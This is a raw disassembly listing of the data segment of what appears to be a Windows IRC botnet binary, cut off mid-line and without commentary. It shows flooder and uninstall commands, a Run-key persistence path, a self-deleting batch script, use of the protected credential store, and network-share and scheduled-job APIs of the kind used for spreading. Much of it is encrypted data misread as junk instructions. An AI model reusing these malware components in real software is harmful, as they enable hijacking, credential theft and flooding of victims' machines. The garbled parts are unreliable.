%s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: sub_40332B:loc_40342Ao align 4 aRestarting db 'Restarting',0 ; DATA XREF: sub_40332B+F3o align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40332B:loc_40340Co align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: sub_40332B:loc_4033FAo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40332B+27o aUdp db 'udp',0 ; DATA XREF: sub_4038BA+27Co aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o align 10h aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: sub_403DF3+6Eo dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_403FE5+7Eo dd 30032074h, 73250234h, 203h dword_418A18 dd 333131h ; DATA XREF: sub_403FE5:loc_403FFDo dword_418A1C dd 9EC09195h, 0D0A198ABh, 0B6B0BEADh, 8Fh, 0 ; DATA XREF: sub_4043E9+6o dword_418A30 dd 2E3031h ; DATA XREF: sub_4041B7+56o dword_418A34 dd 2E323931h, 2E383631h, 0 ; DATA XREF: sub_4041B7+3Bo dword_418A40 dd 2E323731h, 0 ; DATA XREF: sub_4041B7+20o dword_418A48 dd 2E373231h, 0 ; DATA XREF: sub_4041B7+5o dword_418A50 dd 252E7525h, 75252E75h, 75252Eh ; DATA XREF: sub_40D871+1CCo ; sub_41113B+45Ao dword_418A5C dd 313A3Ah ; DATA XREF: sub_40435B+42o dword_418A60 dd 7525h ; DATA XREF: sub_4055E5+458o ; sub_4055E5+69Eo ... dword_418A64 dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo ; sub_4055E5+40Bo ... aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o ; sub_4055E5+3AFo ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+229o ; sub_4055E5+351o ... align 10h aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo align 4 aSystem db 'system',0 ; DATA XREF: sub_406041+136o ; .data:0041BBD0o ... align 4 dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: sub_40637C+FEo dd 732520h dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: sub_40637C+51o dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h dword_418B44 dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o dword_418B54 dd 58323025h, 0 ; DATA XREF: sub_406722+266o ; sub_4147E5+11o ... dword_418B5C dd 58383025h, 0 ; DATA XREF: sub_406722+201o ; sub_40A9CF+1C12o dword_418B64 dd 7325h ; DATA XREF: sub_406722+1E3o ; sub_406722+296o ... aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do align 10h aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o align 10h aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o align 4 off_418B88 dd offset dword_418DD0 ; DATA XREF: sub_406E8E+4Br ; sub_406E8E+8Dr ... off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r ; sub_406E8E+12Ar ... dd offset loc_418D98 dd offset dword_418DA8 dd offset dword_418D88 dd offset dword_418D64 dd offset dword_418D54 dd offset dword_418D34 dd offset dword_418D20 dd offset dword_418D34 dd offset dword_418D0C dd offset dword_418CF4 dd offset dword_418CE4 dd offset dword_418CD0 dd offset dword_418CBC dd offset dword_418C9C dd offset dword_418C88 dd offset dword_418C6C dd offset dword_418C5C dd offset dword_418C6C dd offset dword_418C4C dd offset loc_418C24 dd offset dword_418C10 dd offset dword_418BF0 align 10h dword_418BF0 dd 0C2D48FAFh, 0D8A189F2h, 0BD97B0BCh, 0DF85B08Fh, 0F5979287h ; DATA XREF: .data:00418BE4o dd 0D1A28AE5h, 0ACF5BAh, 0 dword_418C10 dd 0C0CF838Bh, 0DBBC95F1h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BE0o ; --------------------------------------------------------------------------- loc_418C24: ; DATA XREF: .data:00418BDCo mov ds:0F4DCC796h, eax cdq scasd retf 0FFA1h ; --------------------------------------------------------------------------- dw 0F3B0h dd 0D48EB4B7h, 0D1F0C690h, 0DFB99FE9h, 0B68DB0B1h, 0D29EA389h dd 87h, 0 dword_418C4C dd 0C3D08A83h, 0DBB69FB3h, 2 dup(0) ; DATA XREF: .data:00418BD8o dword_418C5C dd 0DFD89691h, 90B889D4h, 0BBE8ADh, 0 ; DATA XREF: .data:00418BD0o dword_418C6C dd 0DFD896B1h, 9EBC9FF1h, 80BCE59Bh, 0D483A682h, 0C0F6C68Fh ; DATA XREF: .data:00418BCCo ; .data:00418BD4o dd 0EDh, 0 dword_418C88 dd 0DFD89691h, 0DDB889F1h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BC8o dword_418C9C dd 0D4D98FB5h, 9EBD8DF2h, 0A4AAF586h, 919CA794h, 0D5C58FA4h ; DATA XREF: .data:00418BC4o dd 0D2A29BEAh, 2 dup(0) dword_418CBC dd 0D5C58F84h, 0D2A29BEAh, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BC0o dword_418CD0 dd 0D1D98FB5h, 0FFEE8AF0h, 0A7B0F5AFh, 2 dup(0) ; DATA XREF: .data:00418BBCo dword_418CE4 dd 0D1D98F95h, 0DBE08AF0h, 0F5B0h, 0 ; DATA XREF: .data:00418BB8o dword_418CF4 dd 0D4D98FB5h, 9EBD8DF2h, 0BFAEE88Dh, 0C392A794h, 2 dup(0) ; DATA XREF: .data:00418BB4o dword_418D0C dd 0DCC79E87h, 0CCAB88F2h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BB0o dword_418D20 dd 0F9D98F95h, 0D0A19DF2h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BA8o dword_418D34 dd 0D4D98FB5h, 9EBD8DF2h, 0BCB9FF84h, 0C1B6F595h, 0D3DE8A92h ; DATA XREF: .data:00418BA4o ; .data:00418BACo dd 0D1A78EFCh, 0A6h, 0 dword_418D54 dd 0DFD0898Eh, 0C6ABD4F3h, 0ADh, 0 ; DATA XREF: .data:00418BA0o dword_418D64 dd 0D5DE8AA1h, 0EDEE8EF3h, 0B6A8E2ADh, 0C4A5F589h, 0DDDE928Ch ; DATA XREF: .data:00418B9Co dd 0CC9EDAF8h, 0A0BBF3A7h, 88h, 0 dword_418D88 dd 0C3C59581h, 0DBB69FB3h, 2 dup(0) ; DATA XREF: .data:00418B98o ; --------------------------------------------------------------------------- loc_418D98: ; DATA XREF: .data:00418B90o stosd xchg eax, ebp setalc retn ; --------------------------------------------------------------------------- dd 0C6ABD4EEh, 0ADh, 0 dword_418DA8 dd 0D1D489AEh, 0DB9DDAF1h, 0BAACE5ABh, 0F0D7AC8Fh, 0DFDF9297h ; DATA XREF: .data:off_418B8Co ; .data:00418B94o dd 0C7BA93EFh, 0A1BBC3E8h, 0D494BC8Dh, 2 dup(0) dword_418DD0 dd 0D1C4958Eh, 0C6ABD4EEh, 0ADh, 0 ; DATA XREF: .data:off_418B88o dword_418DE0 dd 293Ah ; DATA XREF: sub_406A23+9Co dword_418DE4 dd 5Ch ; DATA XREF: sub_406A23+1Bo ; sub_406AE7+1Bo ... dword_418DE8 dd 7078655Ch, 65726F6Ch, 78652E72h, 65h ; DATA XREF: sub_406B81+1Bo aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_406C51+1Co align 4 a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do ; sub_407148+19Do align 10h aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o ; sub_407148+1C9o align 4 dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: sub_40732D+115o dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h dword_418EEC dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o dword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_40764D+6Ao dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4077DD+9Co dd 34300320h, 3732502h, 2 dword_418F4C dd 20h ; DATA XREF: sub_407928+4Co ; sub_407928+96o ... dword_418F50 dd 30h ; DATA XREF: sub_407E0C+CBo ; sub_40CA29+13Do ... dword_418F54 dd 252E7325h, 73252E73h, 73252Eh ; DATA XREF: sub_407F3D+118o ; sub_40806A+BDo dword_418F60 dd 9ED9958Fh, 0A395FEh, 0 ; DATA XREF: sub_408887+6o ; --------------------------------------------------------------------------- loc_418F6C: ; DATA XREF: sub_408887+14o xchg eax, ebp xchg eax, ecx rcr byte ptr [esi-33436017h], 0A9h mov esi, 0FB96BCBDh xchg eax, ebp retn ; --------------------------------------------------------------------------- dd 2 dup(0) dword_418F84 dd 9ED9958Fh, 9FF9h, 0 ; DATA XREF: sub_408887+22o ; --------------------------------------------------------------------------- loc_418F90: ; DATA XREF: sub_408887+30o xchg al, [edi-6B4C223Eh] stosd retf 0 ; --------------------------------------------------------------------------- align 10h dword_418FA0 dd 0D7D88985h, 0DFE09FF1h, 0ADh, 0 ; DATA XREF: sub_408887+3Eo dword_418FB0 dd 0D5D98F8Ch, 90A089F0h, 0FDB3FFABh, 0A09Ah, 0 ; DATA XREF: sub_408887+4Co off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r ; sub_4088FC+60r off_418FC8 dd offset loc_4190B4 ; DATA XREF: sub_4088FC+8Ar dd offset dword_419098 dd offset dword_419054 dd offset dword_41903C dd offset dword_418FE4 dd 2 dup(0) dword_418FE4 dd 0DEC08986h, 0DAAF95F1h, 0BEBFF7E6h, 0C8D9A69Eh, 0DFD88E83h ; DATA XREF: .data:00418FD8o dd 0D3A199B3h, 0BEBFF7E7h, 0D5D8A69Eh, 0DCD9918Dh, 91AA9BF2h dd 0BDB9F9BBh, 0C1D8B19Eh, 0D1D4968Dh, 0DFB7D5EDh, 8CB1FFA0h dd 0D49DB099h, 0D5DB8395h, 0CA91C8F9h, 0E2F3A1A5h, 0D48FB0D5h dd 2 dup(0) dword_41903C dd 0D7999597h, 0CDAB97FCh, 0BAA7BEF9h, 0D2D9B296h, 8B8Dh ; DATA XREF: .data:00418FD4o dd 0 dword_419054 dd 0DEC08986h, 0DAAF95F1h, 0E2F1A3E7h, 82D8B3D4h, 818380D3h ; DATA XREF: .data:00418FD0o dd 93F9C8A9h, 0B6EAA0F0h, 0D7CFE1D6h, 0D38FCBDBh, 8BE3C2ACh dd 0EABAA1A9h, 89C2B7C8h, 9FD2D5D7h, 0CDAF89F0h, 0FDBDFEB1h dd 92AD9Eh, 0 dword_419098 dd 0DEC08986h, 0DAAF95F1h, 0B0B7FDE6h, 0DE84BA89h, 0D3999284h ; DATA XREF: .data:00418FCCo dd 97F2h, 0 ; --------------------------------------------------------------------------- loc_4190B4: ; DATA XREF: .data:off_418FC8o xchg al, [edi-604D2E3Dh] mov al, ds:0B9F9AA91h cld cwde mov al, ds:8887C385h retn ; --------------------------------------------------------------------------- db 9Fh dd 0D9A195DAh, 0BC8AF5A4h, 0D095B994h, 0C3D9AF90h, 0D2A29BE9h dd 0B6F0E2ADh, 0B083h, 0 dword_4190E8 dd 0DCD88996h, 90BC9BFFh, 0B4B1FFAFh, 0D2D9B097h, 8B8Dh ; DATA XREF: .data:off_418FC4o dd 0 off_419100 dd offset loc_415353+2 ; DATA XREF: sub_408342+2Co dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: sub_4083AD+3CEo dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4191F4 dd 73h ; DATA XREF: sub_4083AD:loc_4086C8o ; sub_4083AD:loc_4086E7o ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_4083AD+296o align 4 aNo db 'No',0 ; DATA XREF: sub_4083AD:loc_4085EBo ; sub_408B30:loc_408CB4o ... align 10h aYes db 'Yes',0 ; DATA XREF: sub_4083AD+232o ; sub_408B30+178o ... a2003 db '2003',0 ; DATA XREF: sub_4083AD+1FFo align 4 aXp db 'XP',0 ; DATA XREF: sub_4083AD+1E1o align 10h a2000 db '2000',0 ; DATA XREF: sub_4083AD+1C3o align 4 aMe db 'ME',0 ; DATA XREF: sub_4083AD+1A5o align 4 a98 db '98',0 ; DATA XREF: sub_4083AD+187o align 10h aNt db 'NT',0 ; DATA XREF: sub_4083AD+166o align 4 a95 db '95',0 ; DATA XREF: sub_4083AD+153o align 4 aNoSp db 'no SP',0 ; DATA XREF: sub_4083AD+12Eo align 10h a?: ; DATA XREF: sub_4083AD+124o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo align 4 dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: sub_408B30+2D4o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: sub_408B30+1F9o align 4 aAvarage db 'Avarage',0 ; DATA XREF: sub_408B30+1E3o aBad db 'Bad',0 ; DATA XREF: sub_408B30+1CDo aLan db 'LAN',0 ; DATA XREF: sub_408B30:loc_408C8Fo aModem db 'Modem',0 ; DATA XREF: sub_408B30+14Do align 10h aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_408B30+F5o ; sub_408B30+108o aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo align 4 dword_419398 dd 5C3A41h ; DATA XREF: sub_408E8E+6r ; sub_408F2E+4Er ... dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: sub_408F2E+270o dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: sub_408F2E+1EDo dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: sub_408F2E+1C5o dd 20424D02h, 65657266h, 0 dword_419404 dd 202Eh ; DATA XREF: sub_408F2E+17Co ; sub_408F2E+24Ao aUnknown db 'unknown',0 ; DATA XREF: sub_408F2E:loc_40902Do ; sub_4129CA+34o aRamdisk db 'ramdisk',0 ; DATA XREF: sub_408F2E+F6o aCdRom db 'cd-rom',0 ; DATA XREF: sub_408F2E+E4o align 10h aRemote db 'remote',0 ; DATA XREF: sub_408F2E+D2o align 4 aFixed db 'fixed',0 ; DATA XREF: sub_408F2E+C0o align 10h aRemovable db 'removable',0 ; DATA XREF: sub_408F2E+AEo align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo align 4 aThread db 'thread',0 ; DATA XREF: sub_4093B6+98o ; sub_4094E6+93o align 10h aBtg db 'btg',0 ; DATA XREF: sub_4093B6+93o dword_419474 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS db '*%s*',0 ; DATA XREF: sub_4097A7+81o ; sub_4098F3+C4o align 4 dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo dword_4194CC dd 3430032Dh, 2037802h ; DATA XREF: sub_409AD5:loc_409B25o aNoThreadsRunni db '- No threads running.',0 align 4 dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: sub_409AD5+3Ao dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o align 10h dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: sub_409DD0+3A3o dd 30033A72h, 64250234h, 203h dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+37Fo dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+32Fo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD0+80o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD0+6Ao align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD0:loc_409E24o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_409DD0+34o align 4 unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_41965C dd 202h ; DATA XREF: sub_40A2D2+159o dword_419660 dd 0A0D7325h, 0 ; DATA XREF: sub_40A2D2+6Eo dword_419668 dd 3334h ; DATA XREF: sub_40A2D2+41o dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40A2D2+24o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: sub_40A4A4+44o dd 2E020373h, 0 dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40A50E+97o dd 30032072h, 73250234h, 203h dword_4196D4 dd 0D9D88E95h, 0CCAFD4EEh, 0BDF0FEA1h, 0A19Eh, 0 ; DATA XREF: sub_40A50E:loc_40A562o aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo align 10h aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo align 4 aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o align 10h dword_419700 dd 259B8h ; DATA XREF: sub_40A9CF+1ECDr align 8 dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_40A9CF+1EB1o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h dword_41977C dd 577ED30h ; DATA XREF: sub_40A9CF+1C87r dd 2 dup(0) dword_419788 dd 5658h ; DATA XREF: sub_40A9CF+1C72r align 10h dword_419790 dd 4827598h ; DATA XREF: sub_40A9CF+1C4Br dd 2 dup(0) a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo align 4 dword_4197A4 dd 2DEB94F9h ; DATA XREF: sub_40A9CF+1BE9r dd 3 dup(0) dword_4197B4 dd 2E6BE5C8h ; DATA XREF: sub_40A9CF+1BC2r align 10h dword_4197C0 dd 2E5B8h ; DATA XREF: sub_40A9CF+1BADr align 8 dword_4197C8 dd 2495E5C8h ; DATA XREF: sub_40A9CF+1B86r dd 2 dup(0) dword_4197D4 dd 24858h ; DATA XREF: sub_40A9CF+1B71r dd 0 dword_4197DC dd 21DFB0F8h ; DATA XREF: sub_40A9CF+1B36r dd 2 dup(0) dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_40A9CF+1B17o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_41980C dd 26809888h ; DATA XREF: sub_40A9CF+1AFCr dd 2 dup(0) dword_419818 dd 266E8h ; DATA XREF: sub_40A9CF+1AE7r align 10h dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_40A9CF+1AC8o dd 63h dword_419838 dd 91DF38h ; DATA XREF: sub_40A9CF+19B1r dd 2 dup(0) dword_419844 dd 2343003h, 2037325h ; DATA XREF: sub_40A9CF+1992o aHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_40A9CF+1976o dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o align 4 dword_419898 dd 42A40FB6h ; DATA XREF: sub_40A9CF+180Br dd 3 dup(0) dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_40A9CF+17C1o dd 2037325h, 0 dword_4198C4 dd 151858h ; DATA XREF: sub_40A9CF+1710r align 10h dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_40A9CF+16F1o ; sub_40A9CF+17ECo dd 2037325h, 2Eh dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_40A9CF+16AAo dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_40A9CF+1659o dd 3A737365h, 34300320h, 3732502h, 2 dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_40A9CF+1602o dd 3A737365h, 34300320h, 3732502h, 2 dword_419968 dd 3Ch ; DATA XREF: sub_40A9CF:loc_40BFBAo ; sub_40A9CF:loc_40C011o ... dword_41996C dd 24858h ; DATA XREF: sub_40A9CF+1534r dd 0 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o align 4 dword_41998C dd 0B7DFB102h ; DATA XREF: sub_40A9CF+14F5r dd 3 dup(0) dword_41999C dd 4B836E8h ; DATA XREF: sub_40A9CF+14E0r dd 2 dup(0) dword_4199A8 dd 3E08h ; DATA XREF: sub_40A9CF+14B2r align 10h dword_4199B0 dd 952EF8h ; DATA XREF: sub_40A9CF+1484r dd 2 dup(0) dword_4199BC dd 22F78h ; DATA XREF: sub_40A9CF+146Fr dd 0 dword_4199C4 dd 59D83703h ; DATA XREF: sub_40A9CF+1450r dd 3 dup(0) dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_40A9CF+1431o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_419A04 dd 1197E8h ; DATA XREF: sub_40A9CF+1400r align 10h dword_419A10 dd 2AEC3778h ; DATA XREF: sub_40A9CF+1399r dd 2 dup(0) dword_419A1C dd 22DB0h ; DATA XREF: sub_40A9CF+1374r dd 0 dword_419A24 dd 155E78h ; DATA XREF: sub_40A9CF+135Fr align 10h dword_419A30 dd 135A78h ; DATA XREF: sub_40A9CF+134Ar dd 2 dup(0) dword_419A3C dd 45444F4Dh, 732520h ; DATA XREF: sub_40A9CF+1333o dword_419A44 dd 121930h ; DATA XREF: sub_40A9CF+1310r align 10h dword_419A50 dd 0D0EBFCFDh ; DATA XREF: sub_40A9CF+12E9r align 10h aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: 